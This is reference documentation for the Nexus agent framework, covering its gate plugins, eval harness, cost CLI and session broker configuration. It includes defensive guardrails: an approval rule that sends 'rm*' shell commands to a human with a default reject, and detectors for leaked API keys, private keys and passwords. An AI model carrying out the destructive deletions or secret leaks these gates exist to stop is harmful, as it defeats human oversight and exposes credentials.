Full wiring walkthrough with a runnable Go example: MCP client → In-process servers.
Events
Subscribes:
tool.invoke— dispatches MCP tool calls for any registeredmcp__<server>__*name.before:io.input— intercepts slash commands; vetoes the original input, then re-emits a freshio.inputwhosePreloadMessagescarry the expanded prompt.io.session.start/io.session.end— drivelifecycle: sessionconnections.mcp.prompts.list— synchronous query that fillsevents.MCPPromptsList.Promptsso IO plugins can render/help-style listings.
Emits:
tool.register,tool.result,before:tool.result— the catalog projection.io.input— replacement input carryingPreloadMessagesafter a prompt expansion.io.output— system-role error messages when a slash command fails to parse or dispatch.mcp.resource.updated— fired when a subscribed static resource changes.mcp.tools.refreshed,mcp.prompts.refreshed— bookkeeping events emitted after each per-server reconcile.
Deferred for phase 2 (see issue #98):
- MCP sampling (server-initiated LLM calls).
- OAuth dynamic client registration for the HTTP transport.
- SSE legacy transport.
- Roots beyond the session files directory.
Apps
nexus.app.helloworld
Source: plugins/apps/helloworld/plugin.go. Built-in placeholder agent /
proof-of-concept for the bus-bridge pattern.
| Key | Type | Default | Description |
|---|---|---|---|
greeting | string | Hello | Greeting prefix used when responding to hello.request events. |
Gates
Gates are vetoable handlers that subscribe to before:* events and may block
or transform them. See .claude/docs/gates.md
for the underlying veto mechanics.
Pipeline ordering on before:* events
Handlers on a before:* event run in ascending Priority (lower runs first);
dispatch breaks at the first veto. Handlers that share a priority fall back
to subscription order — the first Subscribe call runs first, and the
bus uses a stable sort so this tiebreak is deterministic across rebuilds
and reorders of plugins.active. The engine logs one WARN at boot for
every (before:*, priority) tuple shared by two or more handlers — re-space
the priorities or accept the registration-order tiebreak knowingly.
The shipped gates encode an explicit policy in their priorities so safety outcomes don’t depend on activation order. The values below are the authoritative pipeline; treat them as a contract when adding a new gate.
before:io.output — mutate-then-veto pipeline:
| Priority | Gate | Role |
|---|---|---|
| 8 | nexus.gate.content_safety | Redact (mutate) first, or veto if action=block |
| 9 | nexus.gate.json_schema | Validate / retry on post-redaction content; may mutate |
| 10 | nexus.gate.stop_words | Final ban check on the content that will ship |
| 12 | nexus.gate.output_length | Truncate-retry mutation last |
before:llm.request — cheap-structural → mutators → input-scanners → HITL:
| Priority | Gate | Role |
|---|---|---|
| 6 | nexus.gate.endless_loop | Iteration counter; structural exit |
| 7 | nexus.gate.token_budget | Budget reservation; structural |
| 8 | nexus.tool.discovery.progressive | Mutates tool list (drill-down) |
| 9 | nexus.gate.rate_limiter | Pause until quota available |
| 10 | nexus.gate.tool_filter | Mutates tool list (allow/block) |
| 11 | nexus.gate.prompt_injection | Pattern-scan input |
| 12 | nexus.gate.stop_words | Pattern-scan input |
| 13 | nexus.gate.approval_policy | May trigger HITL — most expensive |
| 15 | nexus.gate.context_window | Compaction trigger |
nexus.gate.endless_loop
Source: plugins/gates/endless_loop/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
max_iterations | int | 25 | Maximum LLM calls per turn (gate-/planner-sourced calls excluded). |
warning_at | int | 0 | Emit a warning when this count is reached (0 disables). |
nexus.gate.stop_words
Source: plugins/gates/stop_words/plugin.go. Gates both before:llm.request
(user messages) and before:io.output.
| Key | Type | Default | Description |
|---|---|---|---|
words | list | (empty) | Inline banned words. |
word_files | list | (empty) | Files of newline-separated words. |
case_sensitive | bool | false | Case-sensitive matching. |
message | string | Content blocked: contains prohibited terms. | Veto message. |
nexus.gate.token_budget
Source: plugins/gates/token_budget/plugin.go. Multi-dimensional ceilings
(session / tenant / source_plugin) with block, warn, or downgrade-model
actions. The legacy single-ceiling shape (max_tokens) still works as a
session total-token ceiling.
| Key | Type | Default | Description |
|---|---|---|---|
max_tokens | int | (unset) | Backward-compat session total-token ceiling. |
message | string | Token budget exhausted for this session. | Default veto message for the legacy ceiling. |
on_exceed | string | block | Default action when a ceiling fires (block | warn | downgrade-model). Each ceiling can override. |
downgrade_candidates | list | (empty) | Model IDs the downgrade-model action picks the cheapest entry from (priced via pkg/engine/pricing). |
pricing | map | (merged provider defaults) | Per-model overrides applied to the unified pricing table; same shape as the per-provider pricing block. |
estimate_factor | float | 1.5 | Multiplier on the prompt-length token estimate the gate deducts upfront at before:llm.request (reserve/commit). Tightens the TOCTOU window under concurrent fan-out by booking estimated headroom before any in-flight request returns; the response handler then subtracts the reservation and adds the actual usage so the net effect is exactly the realized spend. Increase to err on the side of overshoot-prevention; decrease to tolerate more in-flight headroom. |
ceilings | list | (empty) | List of ceiling rules. See below. |
Each entry under ceilings:
| Key | Type | Default | Description |
|---|---|---|---|
dimension | string | session | One of session, tenant, source_plugin. |
match | string | (none) | For tenant/source_plugin: only this bucket. |
window | string | session | session (lifetime of the session) or day (rolling UTC midnight). |
on_exceed | string | top-level default | Per-rule override for the gate’s on_exceed. |
max_input_tokens | int | (unset) | Veto/downgrade once cumulative input tokens reach this value. |
max_output_tokens | int | (unset) | Same for completion tokens. |
max_total_tokens | int | (unset) | Same for total tokens. |
max_usd | float | (unset) | Same for USD spend. |
max_usd_per_session | float | (unset) | Convenience alias for max_usd with window: session. |
max_usd_per_day | float | (unset) | Convenience alias for max_usd with window: day. |
message | string | (reason) | Override message emitted on block/warn. |
Tenant ceilings persist via app-scope SQLite (~/.nexus/plugins/nexus.gate.token_budget/store.db). Other dimensions are in-memory per session.
nexus.gate.rate_limiter
Source: plugins/gates/rate_limiter/plugin.go. Vetoes before:llm.request
when the per-window budget is exhausted; the agent’s gate.llm.retry
subscriber re-issues the request after the limiter signals the budget has
freed up. The pre-Phase-3 time.Sleep behavior was removed in alpha — there
is no compat shim.
| Key | Type | Default | Description |
|---|---|---|---|
mode | string | reject | reject (veto, schedule a single one-shot retry once the window ages out) or queue (buffer up to queue.max_pending retry slots; a drainer goroutine emits gate.llm.retry at the configured rate; excess is rejected outright). |
requests_per_minute | int | 60 | Requests allowed per window_seconds. |
window_seconds | int | 60 | Sliding window length. |
pause_message | string | Rate limit reached. Pausing for {seconds}s... | Output template; {seconds} is interpolated. |
queue.max_pending | int | 100 | Maximum buffered retry slots in mode: queue. Ignored in reject mode. |
nexus.gate.tool_timeout
Source: plugins/gates/tool_timeout/plugin.go. Per-call deadline gate. On
tool.invoke it starts a timer; on expiry it emits a tool.timeout
observability event plus a synthetic tool.result carrying an error message
that names the exact override key. A before:tool.result veto suppresses any
late real result for the same call ID so the agent’s pendingToolCalls
counter stays consistent. Note: Go cancellation is cooperative — the original
tool goroutine may keep running until it honors its own context. The gate’s
job is to unblock the agent, not preempt the tool.
Per-tool override keys may be exact tool names (web_fetch) or
path.Match-style globs (mcp.*).
Resolution: an exact key wins; among glob matches the longest pattern wins;
otherwise default_timeout applies.
The synthetic error message format is fixed and intended to be read by operators:
tool <name> exceeded timeout <duration>; raise via gates.tool_timeout.per_tool.<name>: <duration>
| Key | Type | Default | Description |
|---|---|---|---|
default_timeout | duration string | 30s | Applied when no per_tool key matches. |
per_tool | map[string]duration | {} | Per-tool overrides keyed by exact tool name or path.Match glob. |
nexus.gate.prompt_injection
Source: plugins/gates/prompt_injection/plugin.go. Regex-only — no LLM.
| Key | Type | Default | Description |
|---|---|---|---|
action | string | block | block or warn. |
patterns | list | (default set) | Inline regex patterns added to defaults. |
patterns_file | string | (none) | File of newline-separated regexes. |
message | string | Input blocked: potential prompt injection detected. | Block message. |
nexus.gate.json_schema
Source: plugins/gates/json_schema/plugin.go. Validates before:io.output
against a JSON Schema; on failure, asks the LLM to retry.
| Key | Type | Default | Description |
|---|---|---|---|
schema | string | object | (required) | JSON Schema as inline object or string. |
schema_file | string | (none) | Path to a schema file (takes precedence over schema). |
max_retries | int | 3 | Retry attempts. |
retry_prompt | string | (default) | Retry instruction; supports {schema} and {error} templates. |
nexus.gate.output_length
Source: plugins/gates/output_length/plugin.go. Asks the LLM to retry with a
shorter response; allows through after exhausted retries (with a warning).
| Key | Type | Default | Description |
|---|---|---|---|
max_chars | int | 5000 | Maximum response length. |
max_retries | int | 2 | Retry attempts. |
retry_prompt | string | (default) | Retry prompt; supports {length} and {limit} templates. |
nexus.gate.content_safety
Source: plugins/gates/content_safety/plugin.go. Built-in checks all default
to enabled.
| Key | Type | Default | Description |
|---|---|---|---|
action | string | block | block or redact. |
message | string | Content blocked: contains sensitive information ({checks}). | Block/redact message; {checks} lists triggered checks. |
scan_tool_results | bool | false | Also subscribe to before:tool.result and apply checks to tool output. Required to cover sub-agent / delegate output (which reaches the parent via tool.result, not io.output). Off by default because legitimate external tools (web_fetch, knowledge_search) often surface phone numbers / addresses that aren’t leaks; enable for orchestrator-style topologies. |
check_pii_email | bool | true | Detect email addresses. |
check_pii_phone | bool | true | Detect phone numbers. |
check_pii_ssn | bool | true | Detect US SSNs. |
check_secrets_api_key | bool | true | Detect API-key-like strings. |
check_secrets_private_key | bool | true | Detect private-key blocks. |
check_secrets_password | bool | true | Detect password-shaped fields. |
check_credit_card | bool | true | Detect credit-card numbers. |
check_ip_internal | bool | true | Detect RFC1918 / internal IPs. |
custom_patterns | list | (empty) | Each {name, pattern}. |
nexus.gate.context_window
Source: plugins/gates/context_window/plugin.go. Triggers compaction via
memory.compact.request when the estimated context approaches the limit.
| Key | Type | Default | Description |
|---|---|---|---|
max_context_tokens | int | 100000 | Provider context window limit. |
trigger_ratio | float | 0.85 | Trigger compaction at this fraction (0.0–1.0). |
chars_per_token | float | 4.0 | Token estimation ratio. |
nexus.gate.tool_filter
Source: plugins/gates/tool_filter/plugin.go. Modifies request.ToolFilter on
before:llm.request. include takes precedence over exclude.
| Key | Type | Default | Description |
|---|---|---|---|
include | list | (empty) | Allowlist of tool names. |
exclude | list | (empty) | Blocklist of tool names. |
nexus.gate.approval_policy
Source: plugins/gates/approval_policy/plugin.go. Policy-driven approvals
on before:tool.invoke and before:llm.request. The gate evaluates a
config-supplied list of rules, and on first match emits a hitl.requested
event and blocks waiting on hitl.responded. The operator’s choice
resolves to passthrough (allow), veto (reject), or passthrough-with-edits.
| Key | Type | Default | Description |
|---|---|---|---|
rules | list | (empty) | Ordered list of approval rules. First match wins. |
Each rule is a map with the following keys:
| Key | Type | Default | Description |
|---|---|---|---|
match | map | (empty) | Field/value tests against the action payload. String values are glob (*, ?); dotted keys address nested fields (e.g. args.command). |
mode | string | choices | One of free_text, choices, both. |
choices | list | (see) | List of {id, label, kind} (or bare-string id). When omitted in choices mode, defaults to [{id: allow, kind: allow}, {id: reject, kind: reject}]. |
default_choice | string | (empty) | Choice id auto-selected when the timeout elapses. Without a default, a timeout vetoes the action. |
prompt | string | (auto) | Go text/template string rendered against the action payload. Falls back to Approve <kind>: <target> when unset (or empty when prompt_synthesizer is set so the synthesizer can fill it in). |
prompt_synthesizer | string | (none) | Capability ID of a registered prompt synthesizer (e.g. hitl.prompt_synthesizer). When set, the gate emits the request with HITLRequest.PromptSynthesizer populated and an empty Prompt, letting the synthesizer render an LLM-authored approval question via the canonical before:hitl.requested entry point. |
timeout | string | (none) | Go duration (e.g. 5m). When unset, the gate blocks indefinitely. |
Match keys recognized by the runtime payload:
action_kind—tool.invokeorllm.request.tool— the tool name (only meaningful fortool.invoke).args.<dotted>— any nested key inside the tool’s argument map.model— the LLM model id (only meaningful forllm.request).role— the LLM model role (only meaningful forllm.request).
Example:
nexus.gate.approval_policy:
rules:
- match: { action_kind: tool.invoke, tool: shell, args.command: "rm*" }
mode: choices
choices: [allow, reject]
timeout: 5m
default_choice: reject
- match: { action_kind: llm.request, model: "claude-opus-*" }
mode: choices
prompt: "About to call expensive model {{ .model }}. Approve?"
Eval harness
The eval: block configures the offline eval harness invoked via the
nexus eval subcommand. The engine itself ignores this block — only
cmd/nexus/eval.go reads it. Per-flag overrides on the CLI take precedence
over config values, which take precedence over built-in defaults.
eval:
cases_dir: tests/eval/cases
reports_dir: tests/eval/reports
judge:
model: claude-haiku-4-5
temperature: 0
n_samples: 1
cache: true
baseline:
fail_on_score_drop: 0.05
fail_on_latency_p95_drop: 0.20
| Key | Type | Default | Description |
|---|---|---|---|
cases_dir | string | tests/eval/cases | Directory containing case bundles (<id>/case.yaml, input/, journal/, assertions.yaml). Path expansion via engine.ExpandPath. |
reports_dir | string | tests/eval/reports | Directory where nexus eval run writes per-run report directories (<run-id>/report.json, <run-id>/summary.txt, <run-id>/_sessions/). Path expansion via engine.ExpandPath. |
judge.model | string | claude-haiku-4-5 | Model used by the LLM judge for --full semantic assertions. Declared in v1; consumed in Phase 5. |
judge.temperature | float | 0 | Judge sampling temperature. Declared in v1; consumed in Phase 5. |
judge.n_samples | int | 1 | Number of judge samples per assertion; majority-threshold kicks in at >=3. Declared in v1; consumed in Phase 5. |
judge.cache | bool | true | Enable provider prompt cache for judge calls. Declared in v1; consumed in Phase 5. |
baseline.fail_on_score_drop | float | 0 | Absolute pass-rate drop (0–1) that fails nexus eval baseline. 0 disables the gate. CLI flag: --fail-on-score-drop. |
baseline.fail_on_latency_p95_drop | float | 0 | Relative latency p95 increase (per case) that fails nexus eval baseline. 0 disables the gate. CLI flag: --fail-on-latency-p95-drop. |
Subcommand overview
| Command | Description |
|---|---|
nexus eval run [--case <id>] [--cases-dir <path>] [--tags <csv>] [--model <role>] [--deterministic] [--full] [--parallel <n>] [--report-dir <path>] [--config <path>] | Run one or all cases under the cases dir; writes a JSON report. Exits 0 on all-pass, 1 if any case failed. |
nexus eval baseline --against <path> [--report <path>] [--fail-on-score-drop <f>] [--fail-on-latency-p95-drop <f>] [--out <path>] [--config <path>] | Diff a fresh report against a stored baseline; honors thresholds for CI exit codes. --against path can be a report.json file or its containing run-id directory; does not descend a parent that contains multiple runs. |
nexus eval promote --session <id-or-path> --case <new-id> [--cases-dir <path>] [--owner <name>] [--tags <csv>] [--description <text>] [--no-edit] [--force] [--config <path>] | Convert a real session under ~/.nexus/sessions/ into a deterministic eval case. See docs/src/eval/promotion.md. |
nexus eval record --from-session <id-or-path> --case <new-id> [...] | Alias of eval promote — same flag set, same behaviour. |
nexus eval --inspect-mode [--timeout=DURATION] | Single-shot JSON-on-stdin/stdout protocol for external harnesses (Inspect AI, Braintrust, custom CI). Reads one request from stdin, writes one response to stdout. Mutually exclusive with subcommands. Deadline via --timeout flag, NEXUS_EVAL_INSPECT_TIMEOUT env, or 60s default. Wire format documented at docs/src/eval/inspect-protocol.md. |
Environment variables
| Variable | Default | Description |
|---|---|---|
NEXUS_EVAL_INSPECT_TIMEOUT | 60s | Per-request deadline for nexus eval --inspect-mode. Parsed as time.Duration (e.g. 30s, 5m). The --timeout flag overrides this; an empty value falls back to the default. Source: cmd/nexus/eval.go:514-537. |
NEXUS_EVAL_INSPECT_KEEP_SESSIONS | (unset) | When set to any non-empty value, retains the per-call temporary sessions root (os.MkdirTemp directory) for debugging instead of deleting it on exit. Off by default — directory is removed after the response is written. Source: pkg/eval/protocol/runner.go:53-60. |
Cost CLI
nexus cost report aggregates cost-attribution data from session
journals (idea 09). Costs come from llm.response.cost_usd which
providers emit using pkg/engine/pricing — the CLI is provider-agnostic.
| Command | Purpose |
|---|---|
nexus cost report [--session <id>] [--tenant <t>] [--group-by <dim>] [--since <duration>] [--json] [--config <path>] | Aggregate llm.response records by tag dimension. |
Flags:
--session <id>— limit to one session id. Default: every session undersessions.root.--tenant <t>— onlyTags["tenant"] == t.--group-by <dim>— one ofsession_id(default),tenant,project,user,source_plugin,model,task_kind.--since <duration>— only events newer thannow - <duration>(e.g.24h,7d).--json— emit JSON instead of the default table.
Tags are populated by:
- The engine’s
before:llm.requestseeder (session_id, plustenant/project/userfromSessionMeta.Labels). - Each
llm.request-emitting plugin (source_plugin, plustask_kindonreq.Metadata). - Plugins routing decisions (
_routed_by,_routed_rule,_downgraded_by,_downgraded_fromonreq.Metadata).
SessionMeta.Labels has a real write path, so tenant/project/user are
reachable rather than requiring test code to poke Labels directly. A
plugin sets a general-namespace label by emitting the vetoable
before:session.tag.set event (events.SessionTagSetRequest{Key, Value})
and deletes one via before:session.tag.delete
(events.SessionTagDeleteRequest{Key}); a successful apply persists to
metadata/session.json and announces session.tag.set /
session.tag.deleted (events.SessionTagSet / events.SessionTagDeleted).
See Session Tags for the full mechanism —
the reserved-namespace split, the four event types, and who writes what.
Any key starting with _ is reserved (host-only) and is rejected
unconditionally on this path — engine.IsReservedLabelKey is the shared
definition of that prefix. The only way to write a reserved key (e.g. the
identity binding _principal_id) is the direct Go method
SessionWorkspace.SetReservedLabel/DeleteReservedLabel, which is not
exposed on the bus. A second direct (non-bus) method,
SessionWorkspace.SetLabel, writes a general-namespace key with no veto hop
for a caller that already sits on trusted, already-authenticated,
already-decoded input — nexus.io.agui’s startRun/resumeRun use it to
write each RunAgentInput.context item as a general tag. It rejects a
reserved key just as the bus path does, so it cannot become a second way into
the reserved namespace.
Session broker (nexus-broker)
The nexus-broker binary (cmd/nexus-broker) is a standalone service, not
an engine plugin. It reads its own YAML config file (default path
broker.yaml, override with -config <path>) and fronts OS-isolated Nexus
instances behind an HTTP/WebSocket gateway.
# broker.yaml
listen_addr: ":8080"
advertise_addr: "" # required behind a proxy/LB; see below
# The named registry of nexus variants this broker may spawn. The `nexus` entry
# always exists — declare it to override its path, omit it to take the default.
binaries:
nexus:
path: "nexus"
vision:
path: "/opt/nexus/bin/nexus-vision"
label: "Nexus (vision)"
description: "Multimodal build with the image tools compiled in"
args: ["-profile", "vision"]
env:
NEXUS_VISION: "1"
# Optional. Variables a spawn inherits from the BROKER'S own environment, by
# name. A spawn is otherwise built from scratch — no wildcard is supported.
inherit_env:
- ANTHROPIC_API_KEY
# Optional. Default OS credential for entries that declare none. Needs a
# privileged broker (root, or CAP_SETUID and CAP_SETGID).
# run_as:
# uid: 1500
# gid: 1500
max_concurrent: 8 # a HEADCOUNT, not a resource budget; see below
client_replay_buffer_bytes: 1048576 # per-lease client-bound replay retention (1 MiB)
idle_timeout: 5m
max_turn_duration: 30m # bound on an in-flight turn; <=0 disables the bound
queue_wait_timeout: 30s
max_queue_depth: 64 # ceiling on parked over-capacity claims; <=0 = unlimited
max_leases_per_principal: 0 # 0 = off; needs `auth:` to have any effect
max_queued_per_principal: 0 # 0 = off; needs `auth:` to have any effect
release_grace: 10s
ready_timeout: 30s # ceiling on instance BOOT; raise it for a slow-starting config
session_report_grace: 5s # post-ready wait for the instance's session id
max_claim_body: 1048576 # ceiling on the claim request body (1 MiB); it carries the whole config
state_dir: "" # empty = lease state is in-memory only; see below
broker_id: "" # empty = generated once and persisted in state_dir
reattach_window: 60s # how long a lease restored after a restart waits for its instance
# Optional. The A2A front door: one public agent per profile. Omit the whole
# block and the broker has no A2A ingress, exactly as before.
agents:
support:
binary: nexus # optional; omitted means the reserved `nexus` entry
config: "~/agents/support.yaml"
card:
name: "Support Agent"
description: "Answers customer questions from the product knowledge base."
version: "1.2.0"
skills:
- id: "answer"
name: "Answer questions"
description: "Answers a customer question and cites its sources."
# Optional. Settings every `agents:` profile shares. Omit it and the defaults
# below apply.
a2a:
tasks:
ttl: 24h # how long a finished task stays readable
max_per_context: 50 # how many tasks are kept per caller+conversation
input_timeout: 15m # how long a task may wait at INPUT_REQUIRED
# Optional. Omit the whole block to run the broker unauthenticated.
auth:
admin_scope: "nexus.broker.admin" # scope that unlocks the operator view of GET /leases
validators:
- type: static
tokens:
- token: "replace-me"
principal: "ci-runner"
tenant: "acme"
scopes: "broker.claim broker.release" # whitespace-separated, or a YAML list
| Key | Type | Default | Description |
|---|---|---|---|
listen_addr | string | :8080 | host:port the broker’s HTTP/WS gateway binds to. GET /healthz returns {"status":"ok"}. |
advertise_addr | string | (empty) | The address clients use to reach this broker, and the highest-precedence input to the ws_url returned by POST /claim. Accepts a bare host:port (implying ws://) or a scheme-qualified ws://, wss://, http:// or https:// host — the port is optional in that form, and http/https are normalized to ws/wss. Required whenever the broker sits behind a reverse proxy or load balancer, or whenever listen_addr uses a wildcard/empty host (:8080, 0.0.0.0:8080, [::]:8080): without it the ws_url is derived from the claim request’s Host header, which then names the proxy rather than the broker holding the lease. Validated at boot — a value with no port, a wildcard host (0.0.0.0, ::), an unsupported scheme, or any path/query/fragment/userinfo fails startup. Leave it empty for a directly-reachable broker; the ws_url then resolves exactly as it did before this key existed. See ws_url resolution below. |
binaries | map | (synthesized) | The registry of named nexus variants this broker may spawn, keyed by the name a claim selects. Entry fields are listed under Binary registry below. After a successful load the registry always contains a nexus entry — the name is reserved and an operator’s block can add to the registry but cannot remove it. Omit the key entirely and the registry is synthesized as a single nexus entry with path nexus, which is exactly the pre-registry behaviour. Validated at boot: an entry with an empty name, an empty/missing path, or a name that collides with another after trimming fails startup, and so does any entry whose path does not resolve to an executable file — see Binary resolution below. |
inherit_env | list of string | (empty) | The variables a spawned instance inherits from the broker’s own environment, by name only. A spawn carries the always-pass set (HOME, LANG, PATH, TZ), everything named here that the broker process actually holds, its entry’s env, and the three broker-owned NEXUS_BROKER_* variables — and nothing else. Empty (the default) means an instance carries no provider credential from the broker’s shell, which is a deliberate break with the earlier behaviour of passing os.Environ() through wholesale; see Instance environment below and the guide’s migration note. Entries are trimmed, de-duplicated and sorted at load. An empty entry, a NAME=value pair (this key forwards a variable, it does not set one — use binaries.<name>.env for that) or a NEXUS_BROKER_* name (injected by the broker on every spawn, so declaring it does nothing) is a boot failure naming the key. A declared name the broker does not hold is not an error: it is skipped, omitted from the per-entry boot log line, and named once in a startup WARN. |
run_as | map | (absent) | The default OS credential spawned instances run under — uid and gid, both required whenever the block is written — for every binaries: entry that does not declare its own. Absent (the default) means instances run as the broker’s own uid and gid, exactly as they always have, and the spawn is byte-identical to what it was before this key existed. An entry’s run_as replaces this outright rather than merging field by field. Validated at boot: a block with only one of the two fields, a negative id, or an id above 4294967295 fails startup naming the key (and, for an entry, the entry). Requires the broker to run as root or hold CAP_SETUID and CAP_SETGID; otherwise every claim selecting such an entry fails to spawn. See Running instances as another user below. |
nexus_binary_path | string | nexus | Deprecated — use binaries.nexus.path. Path to the nexus binary the broker exec()s to spawn instances. Funneled through ExpandPath (supports ~). Still honoured so existing deployments boot unchanged: when it is set and binaries.nexus is absent, its value is folded into the reserved nexus entry and the broker logs one WARN naming the replacement key. Setting it and binaries.nexus is a boot failure naming both keys — see Binary registry. Setting it to the empty string is also a boot failure (remove the key to take the default). |
max_concurrent | int | 8 | Maximum number of live instances (one per lease). Each POST /claim acquires a capacity slot before spawning, and the slot is freed on every teardown path (manual POST /release, idle, crash, and any failed/aborted claim), so the live count can never exceed this cap or drift. A claim that arrives at capacity does not fail outright: it parks in a FIFO wait queue bounded by queue_wait_timeout (see below). Set max_concurrent to 0 (or any non-positive value) to mean unlimited (no cap). It is a headcount, not a resource budget: an instance pinning a 200k-token context counts exactly one, the same as an idle one, and the key bounds nothing about the memory, CPU or disk those instances hold. There is deliberately no per-lease resource limit in the broker — that belongs to the deployment (a systemd slice, a cgroup, one container per instance), so size this key such that max_concurrent × the per-instance limit fits the host. It is also global, not per binaries: entry: one variant can fill it for every other. |
client_replay_buffer_bytes | int | 1048576 (1 MiB) | How many bytes of already-sent, client-bound frames each lease retains so a client that missed them can be replayed. The broker stamps a monotonic, per-lease sequence (seq, counting from 1) on every frame it sends a lease’s client, and keeps the encoded bytes here, evicting oldest first once the bound is reached. Both of the gateway’s loss paths — no client attached, and an attached client whose send queue is full — retain the frame rather than discarding it, so the gap is both detectable (the sequence jumps) and recoverable (the frames are still held). Only client-bound frames are sequenced and buffered: instance-bound frames carry no seq and are not retained, so nothing on the dial-back side changed. The bound is in bytes, not frames, because client-bound payloads run from a few-byte token delta to a hundred-kilobyte tool result — a frame count would say nothing about memory. Worst-case memory across the broker is this value × max_concurrent — 8 MiB at both defaults; with max_concurrent: 0 (unlimited) it is unbounded, so pair the two. A single frame larger than the whole bound is not retained at all (it is evicted immediately) rather than breaching the bound. Set it to 0 to disable retention while leaving sequencing intact: loss stays visible to the client, but the broker keeps nothing to replay. A negative value is a boot failure naming the key. Clients reach the retained frames with ?from_seq= on the client socket, which replays the retained tail before the live stream and announces an explicit stream-gap frame when the bound can no longer cover the requested resume point. The buffer is in-memory and dies with the lease: it is never journaled, state_dir does not persist it, and a broker restart starts every lease’s sequence again at 1 with an empty buffer. |
idle_timeout | duration | 5m | How long a lease with no turn in flight may sit with no client activity before the broker releases it, with the terminal reason idle. “Activity” is an inbound io frame flowing client → instance (user input) or the moment the instance reports its turn finished; instance → client output mid-turn, pings, and control frames do not reset the timer. A lease whose instance is working is exempt regardless of how long ago the client last typed — the broker reads the io.status state off the instance’s own frames, treats thinking, tool_running, streaming, waiting and cancelling as a live turn and idle as its end, and bounds the exemption with max_turn_duration. So this key is sized to the longest human pause a session should survive, not to the longest turn an agent might take. The release reuses the POST /release teardown path (shutdown frame → release_grace → SIGTERM to the process group → SIGKILL → reap), so the session is persisted and the client WS closes with the going-away status. A background sweeper polls at min(idle_timeout/4, 15s) (floored at 50ms). Set idle_timeout to 0 (or any non-positive value) to disable reaping entirely — which also switches off max_turn_duration, since the same sweeper enforces both. |
max_turn_duration | duration | 30m | How long a single in-flight turn may exempt its lease from idle_timeout before the broker releases it anyway, with the distinct terminal reason turn timeout (not idle, so an operator reading the journal can tell “nobody was here” from “killed mid-work”). It is the backstop on the live-turn exemption: an instance that wedges, or whose tool never returns, never reports the idle state that settles a turn and would otherwise hold its lease — and its max_concurrent slot — for the lifetime of the broker. The clock starts at the first work state after a settled period and is not refreshed by later status frames, so it measures the whole turn rather than the gap between frames. Teardown is the ordinary shared path, identical to an idle release apart from the recorded reason. Set it to 0 (or any non-positive value) to disable the bound, restoring an unbounded exemption — a live turn then holds its lease indefinitely. It is enforced by the idle sweeper, so it is inert when idle_timeout <= 0. Size it above the longest turn this deployment legitimately runs: a lease reaped as turn timeout had work in progress. |
queue_wait_timeout | duration | 30s | How long an over-capacity POST /claim parks in the FIFO capacity wait queue before giving up. When max_concurrent is full, a claim waits in arrival order; the moment a slot frees (via POST /release, idle, or crash teardown) it is handed directly to the oldest waiter, which then spawns — no fresh claim can barge ahead of a longer-queued one, and the waiters reuse the same single slot counter (no second accounting path). A waiter that exceeds queue_wait_timeout returns HTTP 503 {"error":"capacity wait timed out"} (distinct message from the immediate {"error":"no capacity"}). If the client disconnects while queued, the waiter is dropped from the queue and holds no slot. Set queue_wait_timeout to 0 (or any non-positive value) to disable waiting: an at-capacity claim is then rejected immediately with HTTP 503 {"error":"no capacity"} (no instance spawned). |
max_queue_depth | int | 64 | How many over-capacity claims may be parked in the FIFO wait queue at once. max_concurrent bounds live instances; this bounds the claims waiting behind them. Each parked waiter costs a goroutine, a timer and an open HTTP connection for up to queue_wait_timeout, so without this bound an over-capacity broker accumulates all three without limit. A claim arriving when the queue is already this deep is refused immediately — it is never parked and costs none of the above — with HTTP 503 {"error":"capacity queue full"}. That is a third distinct message, so the three capacity refusals are told apart in a response and in the claim failed log line without correlating timings: no capacity (the cap is full and waiting is switched off), capacity wait timed out (this claim waited and gave up), capacity queue full (this claim was never allowed to wait). The bound is enforced before a capacity slot is taken, so a refused claim holds nothing and the slot counter cannot drift. Queue ordering is unchanged — still strictly FIFO by arrival, with a freed slot handed directly to the oldest waiter. Set it to 0 (or any non-positive value) to mean unlimited, restoring the pre-bound behaviour. |
max_leases_per_principal | int | 0 (off) | How many live leases one authenticated principal may hold at once. A claim from a principal already at this limit is refused with HTTP 429 {"error":"lease limit reached for this principal"} — a quota answer, not one of the 503 capacity answers, because the broker may have slots to spare. The check runs before a capacity slot is taken and before the claim is queued, so an over-quota caller is refused instantly rather than parked only to be refused later, and it holds no slot to leak. It is exact rather than best-effort under parallel claims from one caller: the deciding check happens in the same critical section as the lease insert. It is enforced only when auth: is configured, and never for the anonymous principal — with no auth: block every lease is owned by the same anonymous identity, so applying a per-principal cap there would count the whole broker against one principal and silently become a second, lower max_concurrent. A broker with no auth: block therefore behaves exactly as it did before this key existed, whatever it is set to. 0 (or any non-positive value) leaves the cap off, which is the default: a per-tenant quota is a policy only the operator can size. Restored leases (restart recovery) bypass it for the same reason they bypass max_concurrent — refusing a process that is already running would hide it, not stop it. |
max_queued_per_principal | int | 0 (off) | How many claims one authenticated principal may have parked in the FIFO capacity queue at once. It is what stops a single caller looping on POST /claim from occupying the whole queue and timing every other tenant’s single claim out behind it. Over-quota claims are refused with HTTP 429 {"error":"queued claim limit reached for this principal"}, immediately and without parking. Queue ordering is not changed — the queue stays strictly FIFO across all principals, and per-principal fair queueing is explicitly out of scope; this bounds how much of the queue one caller may hold, it does not reorder it. Gated on auth: and skipped for the anonymous principal exactly as max_leases_per_principal is, and off by default for the same reason. |
release_grace | duration | 10s | How long a deliberate release — manual POST /release, idle reaping, an overrunning turn, reattach reaping, broker shutdown — waits for an instance to shut its engine down cleanly, after the shutdown frame, before the broker escalates. It does not bound crash teardown and never did: a crash is an unexpected exit, so by the time the broker notices there is no engine left to ask nicely and nothing to wait out — that path frees the lease directly. Escalation is SIGTERM to the instance’s process group, then SIGKILL to the same group a fixed 2s later — see POST /release/{lease_id}. The graceful path (frame or SIGTERM) always persists the session; the kill is the orphan-prevention backstop. The second window is deliberately not configurable. |
ready_timeout | duration | 30s | The ceiling on instance boot: how long POST /claim waits for a freshly spawned instance to dial back on /instance and signal ready before the broker gives up, kills the process, reaps it, drops the lease (freeing its capacity slot) and answers HTTP 504 {"error":"instance did not become ready in time"}. It is the value most likely to need raising, because it has to cover process start, engine construction and every plugin’s Init and Ready — a claim whose config pulls a long model list, warms a vector store or dials several MCP servers can legitimately take longer than the default, and before this key existed that surfaced as a 504 with nothing an operator could turn. It bounds the claim path only; it is unrelated to idle_timeout (a live lease) and max_turn_duration (a turn). The same window bounds an A2A cold spawn, since the agents: ingress boots instances through the identical spawn spine. Must be positive — a non-positive or unparseable value is a boot failure naming the key; there is no “wait forever” reading, because an instance that never registers would otherwise hold a capacity slot and an open HTTP connection indefinitely. |
